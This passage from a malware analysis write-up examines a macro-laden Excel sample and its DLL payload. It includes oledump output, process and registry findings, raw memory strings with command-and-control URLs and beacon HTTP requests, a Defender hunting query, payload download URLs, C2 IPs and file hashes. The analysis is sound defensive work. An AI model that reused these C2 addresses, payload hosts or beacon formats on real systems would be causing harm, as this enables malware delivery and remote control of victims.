Vv3!R3C10 ptgConcat ptgRef3dV Sheet!R15C16 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgRef R28C6 ptgFuncVarV args 2 func FORMULA (0x8060) ptgEQ ptgRef3dV Sheet!R22C16 ptgRef3dV Sheet!R24C7 ptgConcat ptgRef3dV Sheet!R13C8 ptgConcat ptgRef3dV Sheet!R26C9 ptgConcat ptgRef3dV Sheet!R11C5 ptgConcat ptgRef3dV Sheet!R4C6 ptgConcat ptgRef3dV Sheet!R23C11 ptgConcat ptgRef3dV Sheet!R11C16 ptgConcat ptgRef3dV Sheet!R13C16 ptgConcat ptgRef R32C6 ptgFuncVarV args 2 func FORMULA (0x8060) ptgEQ\r\n<\/pre>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/oledump-1.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/oledump-2-1024x238.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/excel1-1024x373.png\")
<\/a> ![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/excel2-1024x538.png\")
<\/a> ![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/excel3-1024x809.png\")
<\/a> ![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/excel4-1024x608.png\")
<\/a> ![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/excel5-1024x365.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/wireshark1-1024x466.png\")
<\/a>![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/dll-create-1024x677.png\")
<\/a>![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/file-create-1024x139.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/dll-create1.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/pid-4600.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/pid-4600-cfm-folder.png\")
<\/a>I also saw that the initial downloaded file from above was renamed and copied over to the destination from above.<\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/pid-4600-rename.png\")
<\/a>The only other events that I noticed with this PID was the fact that it did a lot of enumerating of objects via the registry (ie: looking at the details of different apps installed). I also saw where this process exited out and spun up the last of the child processes.<\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/pid-4600-6472.png\")
<\/a>Shifting gears now to this new PID (PID 6472) I used Procmon and some filters on the following PIDs to see how this process ran along side of the other child processes. The PIDs I focused on where: 6472, 5152, 4692, 4672, 5992, 2108, 7908, and 3040.<\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/proctree-1024x137.png\")
<\/a>![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/pid6472-1-1024x764.png\")
<\/a>I also noticed where this process set the persistence mechanism via the “Run” registry key.<\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/pid6472-2.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/sysinfo-tmp.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/pid6472-3.png\")
<\/a>![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/ipconfig-tmp.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/pid6472-4.png\")
<\/a>![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/nltest-tmp.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/pid6472-5.png\")
<\/a>![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/certutil-1.png\")
<\/a>![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/certutil-1024x166.png\")
<\/a><\/p>\n
\n————————————————-<\/p>\n\n
\n
\n
\n
\n————-<\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/wireshark2-1024x357.png\")
<\/a>1.234.2.232, 1.234.21.73, 1.79.205.117, 101.50.0.91, 103.132.242.26, 103.43.46.182, 103.70.28.102, 103.75.201.2, 103.85.160.5, 104.168.154.79, 107.182.225.142, 110.232.117.186, 119.193.124.41, 129.232.188.93, 131.100.24.199, 131.100.24.231, 134.122.66.193, 134.195.212.50, 136.243.32.168, 138.197.147.101, 138.197.90.158, 138.201.142.73, 144.217.88.125, 146.59.226.45, 149.56.131.28, 151.106.112.196, 153.126.146.25, 158.69.222.101, 159.65.88.10, 160.16.142.56, 164.68.99.3, 167.172.253.162, 167.99.115.35, 172.104.251.154, 173.212.193.249, 176.104.106.96, 176.31.163.17, 183.111.227.137, 185.157.82.211, 185.4.135.165, 185.8.212.130, 187.84.80.182, 188.44.20.25, 189.126.111.200, 196.218.30.83, 197.242.150.244, 201.94.166.162, 203.114.109.124, 206.189.28.199, 209.126.98.206, 209.250.246.206, 209.97.163.214, 212.237.17.99, 212.24.98.99, 216.158.226.206, 217.79.180.211, 27.54.89.58, 38.201.142.73, 45.118.115.99, 45.176.232.124, 45.235.8.30, 46.55.222.11, 49.231.16.102, 5.9.116.246, 50.30.40.196, 51.210.176.76, 51.254.140.238, 51.79.205.117, 51.91.7.5, 51.91.76.89, 58.227.42.236, 62.75.251.60, 72.15.201.15, 82.165.152.127, 91.207.28.33, 93.104.209.56, 94.23.45.86<\/pre>\n
![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/script-c2-1024x300.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/convs-1024x329.png\")
<\/a><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/brim.png\")
<\/a>![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/brim2.png\")
<\/a>\r\nhttps:\/\/138.201.142.73\/\r\nDefaultConnectionSettings\r\n*htt\r\nNT Authority\\NetworkService\r\nLRPC-18860bf76c52cb0581\r\nLRPC-5c7b8b81435912f5ee\r\nBOBSXPC_F89AB791\r\nWinHTTP global session\r\neClassInfo\r\nNT AUTHORITY\\LOCAL SERVICE\r\nMicrosoft\\Windows\\INetCache\r\n138.201.142.73\r\n\r\nC:\\W\r\n138.197.147.101\r\n134.195.212.50\r\n104.168.154.79\r\n149.56.131.28\r\n129.232.188.93\r\n212.24.98.99\r\n119.193.124.41\r\n45.118.115.99\r\n188.44.20.25\r\n0 N8\r\nqN@U\r\nVP61\r\nJ\r\n+s\r\nnistP256\r\n3Wk1^\r\nwebcache_{031b98cf-4a69-4c31-ab42-fd9b3c199407}_S-1-5-21-71636547-298464360-2636078362-1001\r\nHMEN\r\n&amp;amp;lt;"Y]\r\nn30'\r\nmnf~\r\ngWk&amp;amp;amp;c[?\r\n*RIZ\r\n51.254.140.238\r\n167.99.115.35\r\n164.68.99.3\r\n167.172.253.162\r\n151.106.112.196\r\n134.122.66.193\r\n203.114.109.124\r\n58.227.42.236\r\n185.4.135.165\r\n206.189.28.199\r\n201.94.166.162\r\n146.59.226.45\r\n212.237.17.99\r\n103.132.242.26\r\n187.84.80.182\r\n176.104.106.96\r\n185.157.82.211\r\n107.182.225.142\r\n173.212.193.249\r\n45.176.232.124\r\n50.30.40.196\r\n51.91.7.5\r\n101.50.0.91\r\n209.126.98.206\r\n216.158.226.206\r\n131.100.24.231\r\n1.234.21.73\r\n185.8.212.130\r\n82.165.152.127\r\n103.75.201.2\r\n45.235.8.30\r\nSoftware\\Policies\\Microsoft\\SystemCertificates\\Disallowed\r\n94.23.45.86\r\n91.207.28.33\r\n153.126.146.25\r\nhttps:\/\/138.201.142.73:8080\/CygvxqYWbfaWpFWYevWeXEfwbttoD\r\n172.104.251.154\r\n72.15.201.15\r\n103.70.28.102\r\nRE\\Microso\r\nDECD\r\nASYC\r\n196.218.30.83\r\n46.55.222.11\r\n1.234.2.232\r\n209.250.246.206\r\n27.54.89.58\r\n209.97.163.214\r\n183.111.227.137\r\n110.232.117.186\r\n103.43.46.182\r\n159.65.88.10\r\n189.126.111.200\r\n5.9.116.246\r\nC:\\Users\\bob\\AppData\\Local\\Microsoft\\Windows\\INetCache\r\n158.69.222.101\r\nf\r\nr%u\r\nLMEM`\r\n51.91.76.89\r\n197.242.150.244\r\n160.16.142.56\r\nQUUU\r\n%bw+s\r\nJ:s)\r\n^:u\/}r\r\nX2Ep0\r\n3Th\\\r\nij98\r\n-b 4\r\n_eNs}\r\nG2L%r` \r\nC#;&amp;amp;lt;]\r\nVV9r\r\n4R6f\r\nLB2D\r\nJpou\r\nt\/mixed multipart\/x-mixed-replace multipart\/x-byteranges \r\n138.201.142.73:8080\r\nGlobal Security\r\nIT Department\r\nLMEM\r\nC:\\Windows\\system32\r\nObjectLength\r\nC:\\Users\\bob\\Documents\\\r\nC:\\Users\\bob\\AppData\\Local\\Temp\\gksq.exe\r\n"C:\\Users\\bob\\AppData\\Local\\Temp\\\\gksq.exe" "C:\\Users\\bob\\AppData\\Local\\Temp\\7CE.tmp"\r\nWinsta0\\Default\r\n=::=::\\\r\n=C:=C:\\Users\\bob\\Documents\r\nALLUSERSPROFILE=C:\\ProgramData\r\nAPPDATA=C:\\Users\\bob\\AppData\\Roaming\r\nChocolateyInstall=C:\\ProgramData\\chocolatey\r\nChocolateyLastPathUpdate=132946321721968358\r\nChocolateyToolsLocation=C:\\Tools\r\nCommonProgramFiles=C:\\Program Files\\Common Files\r\nCommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files\r\nCommonProgramW6432=C:\\Program Files\\Common Files\r\nCOMPUTERNAME=BOBS-PC\r\nComSpec=C:\\Windows\\system32\\cmd.exe\r\nDriverData=C:\\Windows\\System32\\Drivers\\DriverData\r\nFPS_BROWSER_APP_PROFILE_STRING=Internet Explorer\r\nFPS_BROWSER_USER_PROFILE_STRING=Default\r\nHOMEDRIVE=C:\r\nHOMEPATH=\\Users\\bob\r\nJAVA_HOME=C:\\Program Files\\OpenJDK\\openjdk-11.0.14.1_1\r\nLOCALAPPDATA=C:\\Users\\bob\\AppData\\Local\r\nLOGONSERVER=\\\\BOBS-PC\r\nNUMBER_OF_PROCESSORS=4\r\nOneDrive=C:\\Users\\bob\\OneDrive\r\nOS=Windows_NT\r\nPath=C:\\Program Files\\Microsoft Office 15\\Root\\Office15\\;C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath;C:\\Python37\\Scripts\\;C:\\Python37\\;\r\nVers\r\n0000\r\nhttps\r\n9F\r\n?\r\nEnab\r\nncalrpc\r\nerId\r\nyPath\r\nblank\r\nabout:blank\r\nabout\r\nwinh\r\nCache\r\nFiles\\Microso\r\nOffice 15\\Root\\Office15\\;C:\\P\r\non37\\Scr\r\n\\;C:\r\narter;C:\\Windows\\system32;C:\\Win\r\nsPow\r\nShell\\\r\nft\\W \r\nps;C\r\nr;;C\r\nogra\r\nusca\r\nools\r\newer\r\nFile\r\nchocolat\r\n\\Program\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\0\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\r\n\\\\?\\C:\\Windows\\system32\\TenantRestrictionsPlugin.dll\r\n-deobfu\r\nor-g\r\nCKM\r\nTenantRestrictions\\Payload\r\ndConnRouteHelper.dll\r\nactor;C:\\Tools\\\r\nledu\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\4\r\nSysA\r\nData\r\noft Office 15\\root\\Client\r\nmultipart\/mixed\r\nmultipart\/x-mixed-replace\r\nmultipart\/x-byteranges\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\2\r\nCHINE\\So\r\nregsvr32.exe\r\nC:\\Windows\\system32\\IPHLPAPI.DLL\r\nSecurity=Impersonation Dynamic True\r\nC:\\Windows\\system32\\negoexts.DLL\r\nC:\\Windows\\SYSTEM32\\WINNSI.DLL\r\n\/CygvxqYWbfaWpFWYevWeXEfwbttoD\r\n.dll\r\nC:\\Windows\\system32\\mswsock.dll\r\noot%\\System32\\winrnr.dll\r\n"W \r\nC:\\Windows\\SYSTEM32\\winhttp.dll\r\nMicrosoft Package Negotiator\r\nNegoExtender Security Package\r\nC:\\Windows\\system32\\kerberos.DLL\r\nC:\\Windows\\system32\\tspkg.DLL\r\nbfaW@p\r\nC:\\Windows\\system32\\msv1_0.DLL\r\nC:\\Windows\\system32\\pku2u.DLL\r\nC:\\Windows\\system32\\cloudAP.DLL\r\nDigest Authentication for Windows\r\n38.201.142.73\r\noot%\\system32\\napinsp.dll\r\nC:\\Windows\\System32\\fwpuclnt.dll\r\n%;Ye\r\n1a09\r\nper]\r\nLdap\r\n\/TXoXaxO0\r\nfZGGw\r\nDisp\r\npace\r\nBluetooth Namespace\r\nKERN\r\n@%SystemRoot%\\System32\\mswsock.dll,-60100\r\n%SystemRoot%\\system32\\mswsock.dll\r\n@%SystemRoot%\\System32\\mswsock.dll,-60101\r\ntemRoot%\\system32\\mswsock.dll\r\n@%SystemRoot%\\System32\\mswsock.dll,-60102\r\n@%SystemRoot%\\System32\\mswsock.dll,-60200\r\n@%SystemRoot%\\System32\\mswsock.dll,-60201\r\n@%SystemRoot%\\System32\\mswsock.dll,-60202\r\nAF_UNIX\r\n@%SystemRoot%\\System32\\wshqos.dll,-100\r\n@%SystemRoot%\\System32\\wshqos.dll,-101\r\n@%SystemRoot%\\System32\\wshqos.dll,-102\r\n@%SystemRoot%\\System32\\wshqos.dll,-103\r\nHyper-V RAW\r\nMSAFD L2CAP [Bluetooth]\r\nMSAFD RfComm [Bluetooth]\r\n2\\ms\r\n%SystemRoot%\\system32\\napinsp.dll\r\nmvvI\r\n,{M%\r\nSystemRoot%\\system32\\pnrpnsp.dll\r\n%SystemRoot%\\system32\\wshbth.dll\r\n:$Bf\r\n%SystemRoot%\\system32\\NLAapi.dll\r\n%SystemRoot%\\System32\\mswsock.dll\r\n%SystemRoot%\\System32\\winrnr.dll\r\nCookie: CGn=RZce6velaVAavs9Vz6HD9gdvOY\/yUNF169kqGHcQFGbqv3XzbjLbGoPwfyu027kc6V\/OUiLXNGbCVV9r5fbTMNUUttVpDYzpDabBYFhpnl7n4R6feWmpLB2D+p8+AjtT2LhfJpouVMBzzqr\/o3pNyKSN0rKOl4RNO\/olIER6zITfyMLUb9Y6WOj0M7GUs9a6BYiJG3n3XoHoONjbOJtpNADth7x62WgVwULrpJOfN7XzSIC4\r\n_7U@\r\n=#D}U0\r\n2pXV\r\npp#J\r\nnasko ]\r\n73:8\r\n6a9e4b91-efd8-442a-a775-1a305f211a09\r\nMicrosoft SSL Protocol Provider\r\n3lss\r\nKSSM\r\nLI2p\r\ndB5\r\ngn\r\n7fY-\r\n?9Z:S\r\nH[ub\r\n&amp;amp;lt;OX\r\nIRcK\r\nLondon1\r\nGlobal Security1\r\nIT Department1\r\nexample.com0\r\n220421100754Z\r\n230421100754Z0w1\r\n?&amp;amp;amp;$e`\r\n4rJrU\r\n)8^%\r\n!0Xi\r\ng0;&amp;amp;gt;j\r\n0=:;\r\nS0Q0\r\nAY|d\r\n:3dT1\r\na4)9\r\n1ID#\r\nG)iAa\r\nLMEMh\r\nSoftware\\Policies\\Microsoft\\Internet Explorer\\Main\r\nInet\r\nAAAA\r\nhttps:\/\/51.79.205.117:8080\/ybpctyJzcgGEYDHzyDqgSCFZykaEYstpxThipCWAbjbeuHvCjVy\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Lockdown_Zones\\3\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Lockdown_Zones\\4\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Lockdown_Zones\\2\r\nhttps:\/\/138.201.142.73:8080\/yxhFFEKXSLVJiqrJqsKvQpPwKBMOfnqEcWJAYkUnnefMrvpJdtgH\r\nhttps:\/\/138.201.142.73:8080\/pWmeiofEVUpSKbjVMIJGgGGTnZPhlVHXSZEuKVZwyGyqDkkiFrNJU\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Lockdown_Zones\0\r\nSoftware\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Lockdown_Zones\\1\r\nhttps:\/\/138.201.142.73:8080\/WFSfONUSzlPKMhGXfoxFmsKwDhqnCFeAvIAAJgJEZdL\r\nhttp:\/\/ctldl.windowsupdate.com\/msdownload\/update\/v3\/static\/trustedr\/en\r\nC:\\Windows\\System32\\cryptnet.dll\r\nC:\\Windows\\System32\\inetcomm.dll\r\n\\Windo\r\nJiqrJqsKvQpPwKBMOfnqEcWJAYkUnnefMrvpJdtgH HTTP\/1.1\r\nCookie: eTqLUPatfIeLbrR=RZce6velaVAavs9Vz6HD9gdvOY\/yUNF169kqGHcQFGbqv3XzbjLbGoPwfyu027kc6V\/OUiLXNGbCVV9r5fbTMNUUttVpDYzpDabBYFhpnl7n4R6feWmpLB2D+p8+AjtT2LhfJpouVMBzzqr\/o3pNyKSN0rKOl4RNO\/olIER6zITfyMLUb9Y6WOj0M7GUs9a6BYiJG3n3XoHoONjbOJtpNGzbtInapdNRy1Iio88ASqaN25qk46\/DHO7paUahFbYbyg==\r\nHost: 138.201.142.73:8080\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\nMicrosoft ECC TS Root Certificate Authority 2018\r\nSoftware\\Policies\\Microsoft\\SystemCertificates\\Root\r\nSoftware\\Policies\\Microsoft\\SystemCertificates\\CA\r\nMicrosoft Unified Security Protocol Provider\r\n0a0!\r\n\/yxhFFEKXSLVJiqrJqsKvQpPwKBMOfnqEcWJAYkUnnefMrvpJdtgH\r\nhttps:\/\/49.231.16.102\/\r\nMicrosoft\\Windows\\History\r\n\/kFavVXuoLsrLqvwgzIBHcHvgj\r\nhttps:\/\/51.79.205.117\/\r\nyxhFFEKXSLVJiqrJqsKvQpPwKBMOfnqEcWJAYkUnnefMrvpJdtgH\r\nMicrosoft Enhanced RSA and AES Cryptographic Provider\r\n\/iPJDVKdeIdeeGeTiufOLU\r\n%s\\regsvr32.exe "%s\\%s"\r\nosof\r\nc Provider\r\nfeedplat:\r\nfeedplat\r\nC:\\Windows\\SysWOW64\r\n\/KdwWnbWtYeFKxljBvFmxRZMuCq\r\n49.231.16.102\r\nographic Provider\r\n22 0\r\nSOFTWARE\\Microsoft\\Cryptography\\Defaults\\Provider\\Microsoft Enhanced RSA and AES Cryptographic Provider\r\nhttps:\/\/138.201.142.73:8080\/drmmCGVTpGpPzuWWLvegISCcDsCUjRAvPBVedLMkFX\r\ntls-server-end-point:-$\r\n\/XPWtiGbJCQaEslhzkiFbwIHCxRbuXKptqVwF\r\n\/dDWPyHglVcZwUAFahqJzBPLhbyDtaCpXLVO\r\nSoftware\\Microsoft\\Cryptography\\Offload\r\nhttps:\/\/138.201.142.73:8080\/uEgGYmxPy\r\nhttps:\/\/138.201.142.73:8080\/oSsqkDLRp\r\n\/drmmCGVTpGpPzuWWLvegISCcDsCUjRAvPBVedLMkFX\r\nRSA1\r\n5vdez\r\n\\??\\C:\\Windows\\system32\\certutil.exe\r\n\/TXoXaxOVmgNxEPImPYRovmPQbNpYBbqfZGGw\r\n92361039-fdb4-4354-afbd-8d7d73da8e7f\r\nMSHist012022041120220418\r\nLMEM8\r\nhttps:\/\/138.201.142.73:8080\/zHkKMTkeN\r\nRZce6velaVAavs9Vz6HD9gdvOY\/yUNF169kqGHcQFGbqv3XzbjLbGoPwfyu027kc6V\/OUiLXNGbCVV9r5fbTMNUUttVpDYzpDabBYFhpnl7n4R6feWmpLB2D+p8+AjtT2LhfJpouVMBzzqr\/o3pNyKSN0rKOl4RNO\/olIER6zITfyMLUb9Y6WOj0M7GUs9a6BYiJG3n3XoHoONjbOJtpNGzbtInapdNRy1Iio88ASqaN25qk46\/DHO7paUahFbYbyg==\r\nC:\\Users\\bob\\AppData\\Local\\Temp\r\npAW HTTP\/1.1\r\nCookie: bAozrxhKjDv=RZce6velaVAavs9Vz6HD9gdvOY\/yUNF169kqGHcQFGbqv3XzbjLbGoPwfyu027kc6V\/OUiLXNGbCVV9r5fbTMNUUttVpDYzpDabBYFhpnl7n4R6feWmpLB2D+p8+AjtT2LhfJpouVMBzzqr\/o3pNyKSN0rKOl4RNO\/olIER6zITfyMLUb9Y6WOj0M7GUs9a6BYiJG3n3XoHoONjbOJtpNA9c9j3tqdd1GrIA3bXCpIMQ2U2R5gXKnkufm1JHpCVb8kWsZkavlvH9GlOGH1eTtNLVlezdXTfHEFgIc8hZKETlhPJbrLyM1kKXsC0kuJq2GcAXtGfdz\/pN+fuA1yj8cVK8Bardus9WsiD3\r\n69kqGHcQFGbqv3XzbjLbGoPwfyu027kc6V\/OUiLXNGbCVV9r5fbTMIuqQ25PGrRDL8+4WxADoFQBHJ55oGNeyerq\/4vjh9UKYAzrsARtbZJfgHo+lky80MMmEhCbbUpmh8M0A2mrjo3szy8oldooWY5tORs62PR9hH2lFLoBeHvwW6o23v7DtnVZADYLoDZ+xa67X1CsGQXkWvL0MuoxqCBrS6PJp+qfmQ==\r\n69kqGHcQFGbqv3XzbjLbGoPwfyu027kc6V\/OUiLXNGbCVV9r5fbTMNUUttVpDYzpDabBYFhpnl7n4R6feWmpLB2D+p8+AjtT2LhfJpouVMBzzqr\/o3pNyKSN0rKOl4RNO\/olIER6zITfyMLUb9Y6WOj0M7GUs9a6BYiJG3n3XoHoONjbOJtpNPsAt5\/TW4F6U4R3mt3HbelRloQk1MJUJK1Ud2UUMon3hYtddHk=\r\nNTLM\r\nCloudAP\r\nWDigest\r\npku2u\r\nTSSSP\r\na5M'3\r\nSchannel Security Package\r\nNegoExtender\r\nTS Service Security Package\r\nCloud AP Security Package\r\ndummy:\/\/url\/\r\nDefault TLS SSP\r\nCRqqqq\r\n2.5.29.32\r\n%2.5.29.37\r\n#2.5.29.35\r\nRUUU\r\nYKSM\r\n2.5.29.14\r\n2.5.29.15\r\nASSM\r\n2.5.29.1\r\n2.5.29.19\r\n2.5.29.31\r\nADDD\r\nC:\\Users\\bob\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012022042220220423\\\r\n9f#9t\r\nRoot Agency0\r\n960528220259Z\r\n391231235959Z0\r\nRoot Agency0[0\r\nGFor Testing Purposes Only Sample Software Publishing Credentials Agency0G\r\nRoot Agency\r\n-.&amp;amp;gt;{\r\n<\/pre>\n
\n———————————————–
\nOn another test VM with Microsoft Defender running and nothing else on the system, I ran the sample (xojftnrktg.fqd) to see what would happen and what MSDE would see\/alert on and also if I could come up with a KQL query or two as well.\u00a0Note:\u00a0<\/strong>I still have some tuning to do as I just got the subscription up and running. In this case MSDE did NOT<\/span> stop anything and just alerted on the activity (which is kind of what I wanted anyways). Also the times are off since this was after running it on the other VM!<\/span><\/strong><\/p>\n![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/msde1-1024x224.png\")
<\/a><\/p>\n\r\nsearch in (AlertInfo, AlertEvidence, DeviceProcessEvents, DeviceNetworkEvents, DeviceFileEvents, DeviceRegistryEvents, DeviceImageLoadEvents, DeviceEvents, DeviceImageLoadEvents) ProcessId == "4080"\r\nor InitiatingProcessId == "4080" or InitiatingProcessId == "1140"\r\n| project-away DeviceId, DeviceName, InitiatingProcessAccountDomain\r\n<\/pre>\n<\/div>\n
![\"\"](\"https:\/\/www.herbiez.com\/wp-content\/uploads\/2022\/04\/msde3-1024x333.png\")
<\/a>
\n==========<\/p>\n
\n———-
\nhttps:\/\/urlhaus.abuse.ch\/browse.php?search=congtycamvinh.com%2Fplugins%2FjG3iqpQaTL1TXYMolH<\/a>
\nhttps:\/\/urlhaus.abuse.ch\/browse.php?search=ecube.com.mx<\/a>
\nhttps:\/\/urlhaus.abuse.ch\/browse.php?search=dulichdichvu.net%2F<\/a>
\nhttps:\/\/urlhaus.abuse.ch\/browse.php?search=gnif.org%2Fadministrator<\/a>
\nhttps:\/\/urlhaus.abuse.ch\/browse.php?search=edoraseguros.com.br<\/a>
\nhttps:\/\/urlhaus.abuse.ch\/browse.php?search=sanoma.allrent.nl<\/a><\/p>\n
\n—————–
\n69.163.185.102 (tcp\/80)
\n209.126.103.109 (tcp\/443)
\n138.201.142.73 (tcp\/8080)
\n51.79.205.117 (tcp\/8080)
\n49.231.16.102 (tcp\/8080)
\n131.100.24.199 (tcp\/7080)
\n103.85.160.5 (tcp\/443)
\n138.201.142.73 (tcp\/8080)
\nSee list of IPs from strings2 output as well<\/p>\n
\n———
\nhxxp:\/\/congtycamvinh.com\/plugins\/jG3iqpQaTL1TXYMolH\/
\nhxxp:\/\/ecube.com.mx\/e2oCWBnC\/6wp2K4sfQmVIRy6ZvdiH\/
\nhxxp:\/\/dulichdichvu.net\/libraries\/6vhzwoZoNDSMtSC\/
\nhxxp:\/\/gnif.org\/administrator\/G68HwUGlKNJNU2vh5cz\/
\nhxxps:\/\/edoraseguros.com.br\/cgi-bin\/l7ZERv5deNsfzlZUZ\/
\nhxxps:\/\/sanoma.allrent.nl\/cgi-bin\/KXbI5OhLJ\/<\/p>\n
\n—————
\n806a254729b816be1c0edb252f1e64f6d7f8b3a7fbcfd217cb414f623c37d17b – Form Dt 04.22.2022.zip
\nef5d556b61ce8a29f7a79af93fe21c9e226de504e9ddbafa4faedaa74a1ce45b – Form Dt 04.22.2022.xls
\n3292bc764f98e7e39c91a30343276bb3ebc9a930f71c9c02d6c6b6c126d22f99 – xojftnrktg.fqd \/ xdwno.ocx<\/p>\n